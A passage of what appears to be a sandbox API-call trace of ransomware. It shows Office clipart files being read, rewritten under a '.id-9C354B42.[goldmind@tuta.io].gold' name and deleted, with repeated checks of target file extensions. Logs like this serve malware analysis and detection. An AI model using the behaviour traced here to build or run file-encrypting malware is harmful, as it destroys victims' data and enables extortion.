dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.263] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.264] GetLastError () returned 0x0 [0114.264] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xae08, lpOverlapped=0x0) returned 1 [0114.280] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xae10, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xae10, lpOverlapped=0x0) returned 1 [0114.281] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.281] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.281] SetEndOfFile (hFile=0x3ec) returned 1 [0114.282] CloseHandle (hObject=0x3ec) returned 1 [0114.282] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.282] SetEndOfFile (hFile=0x364) returned 1 [0114.284] CloseHandle (hObject=0x364) returned 1 [0114.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf")) returned 1 [0114.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.326] lstrlenW (lpString=".doc") returned 4 [0114.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.326] lstrlenW (lpString=".docx") returned 5 [0114.326] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0114.326] lstrlenW (lpString=".pdf") returned 4 [0114.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.326] lstrlenW (lpString=".xls") returned 4 [0114.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.326] lstrlenW (lpString=".xlsx") returned 5 [0114.326] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0114.326] lstrlenW (lpString=".ppt") returned 4 [0114.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.326] lstrlenW (lpString=".zip") returned 4 [0114.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.326] lstrlenW (lpString=".rar") returned 4 [0114.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.326] lstrlenW (lpString=".bz2") returned 4 [0114.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.326] lstrlenW (lpString=".7z") returned 3 [0114.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.326] lstrlenW (lpString=".dbf") returned 4 [0114.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.326] lstrlenW (lpString=".1cd") returned 4 [0114.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.326] lstrlenW (lpString=".jpg") returned 4 [0114.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.326] lstrlenW (lpString=".doc") returned 4 [0114.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.326] lstrlenW (lpString=".docx") returned 5 [0114.326] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0114.326] lstrlenW (lpString=".pdf") returned 4 [0114.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.326] lstrlenW (lpString=".xls") returned 4 [0114.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.327] lstrlenW (lpString=".xlsx") returned 5 [0114.327] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0114.327] lstrlenW (lpString=".ppt") returned 4 [0114.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.327] lstrlenW (lpString=".zip") returned 4 [0114.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.327] lstrlenW (lpString=".rar") returned 4 [0114.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.327] lstrlenW (lpString=".bz2") returned 4 [0114.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.327] lstrlenW (lpString=".7z") returned 3 [0114.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.327] lstrlenW (lpString=".dbf") returned 4 [0114.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.327] lstrlenW (lpString=".1cd") returned 4 [0114.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned 63 [0114.327] lstrlenW (lpString=".jpg") returned 4 [0114.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.327] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.327] lstrlenW (lpString="J0199307.WMF") returned 12 [0114.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.338] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=50046) returned 1 [0114.338] CloseHandle (hObject=0x3d0) returned 1 [0114.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf")) returned 0x20 [0114.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.347] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.347] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.348] GetLastError () returned 0x0 [0114.348] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xc37e, lpOverlapped=0x0) returned 1 [0114.350] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xc380, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xc380, lpOverlapped=0x0) returned 1 [0114.351] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.351] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.351] SetEndOfFile (hFile=0x3ec) returned 1 [0114.351] CloseHandle (hObject=0x3ec) returned 1 [0114.351] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.351] SetEndOfFile (hFile=0x364) returned 1 [0114.362] CloseHandle (hObject=0x364) returned 1 [0114.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf")) returned 1 [0114.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.364] lstrlenW (lpString=".doc") returned 4 [0114.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString=".docx") returned 5 [0114.364] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0114.364] lstrlenW (lpString=".pdf") returned 4 [0114.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString=".xls") returned 4 [0114.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.364] lstrlenW (lpString=".xlsx") returned 5 [0114.364] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0114.364] lstrlenW (lpString=".ppt") returned 4 [0114.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.364] lstrlenW (lpString=".zip") returned 4 [0114.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.364] lstrlenW (lpString=".rar") returned 4 [0114.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString=".bz2") returned 4 [0114.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString=".7z") returned 3 [0114.364] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.364] lstrlenW (lpString=".dbf") returned 4 [0114.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.364] lstrlenW (lpString=".1cd") returned 4 [0114.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.364] lstrlenW (lpString=".jpg") returned 4 [0114.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.364] lstrlenW (lpString=".doc") returned 4 [0114.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString=".docx") returned 5 [0114.364] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0114.364] lstrlenW (lpString=".pdf") returned 4 [0114.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString=".xls") returned 4 [0114.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.364] lstrlenW (lpString=".xlsx") returned 5 [0114.364] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0114.364] lstrlenW (lpString=".ppt") returned 4 [0114.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.364] lstrlenW (lpString=".zip") returned 4 [0114.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.364] lstrlenW (lpString=".rar") returned 4 [0114.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.364] lstrlenW (lpString=".bz2") returned 4 [0114.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.365] lstrlenW (lpString=".7z") returned 3 [0114.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.365] lstrlenW (lpString=".dbf") returned 4 [0114.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.365] lstrlenW (lpString=".1cd") returned 4 [0114.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0114.365] lstrlenW (lpString=".jpg") returned 4 [0114.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.365] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.365] lstrlenW (lpString="J0199423.WMF") returned 12 [0114.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.366] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=26154) returned 1 [0114.366] CloseHandle (hObject=0x364) returned 1 [0114.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf")) returned 0x20 [0114.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.366] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.366] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.367] GetLastError () returned 0x0 [0114.367] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x662a, lpOverlapped=0x0) returned 1 [0114.369] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x6630, lpOverlapped=0x0) returned 1 [0114.370] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.370] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.370] SetEndOfFile (hFile=0x3ec) returned 1 [0114.371] CloseHandle (hObject=0x3ec) returned 1 [0114.371] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.371] SetEndOfFile (hFile=0x364) returned 1 [0114.373] CloseHandle (hObject=0x364) returned 1 [0114.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf")) returned 1 [0114.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.374] lstrlenW (lpString=".doc") returned 4 [0114.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.374] lstrlenW (lpString=".docx") returned 5 [0114.374] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.374] lstrlenW (lpString=".pdf") returned 4 [0114.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.374] lstrlenW (lpString=".xls") returned 4 [0114.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.374] lstrlenW (lpString=".xlsx") returned 5 [0114.374] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.374] lstrlenW (lpString=".ppt") returned 4 [0114.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.374] lstrlenW (lpString=".zip") returned 4 [0114.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.374] lstrlenW (lpString=".rar") returned 4 [0114.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.374] lstrlenW (lpString=".bz2") returned 4 [0114.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.374] lstrlenW (lpString=".7z") returned 3 [0114.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.374] lstrlenW (lpString=".dbf") returned 4 [0114.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.374] lstrlenW (lpString=".1cd") returned 4 [0114.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.374] lstrlenW (lpString=".jpg") returned 4 [0114.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.374] lstrlenW (lpString=".doc") returned 4 [0114.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.374] lstrlenW (lpString=".docx") returned 5 [0114.374] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.374] lstrlenW (lpString=".pdf") returned 4 [0114.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.375] lstrlenW (lpString=".xls") returned 4 [0114.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.375] lstrlenW (lpString=".xlsx") returned 5 [0114.375] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.375] lstrlenW (lpString=".ppt") returned 4 [0114.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.375] lstrlenW (lpString=".zip") returned 4 [0114.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.375] lstrlenW (lpString=".rar") returned 4 [0114.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.375] lstrlenW (lpString=".bz2") returned 4 [0114.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.375] lstrlenW (lpString=".7z") returned 3 [0114.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.375] lstrlenW (lpString=".dbf") returned 4 [0114.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.375] lstrlenW (lpString=".1cd") returned 4 [0114.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0114.375] lstrlenW (lpString=".jpg") returned 4 [0114.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.375] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.375] lstrlenW (lpString="J0199429.WMF") returned 12 [0114.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.376] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=16676) returned 1 [0114.376] CloseHandle (hObject=0x364) returned 1 [0114.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf")) returned 0x20 [0114.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.376] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.376] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.377] GetLastError () returned 0x0 [0114.377] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: 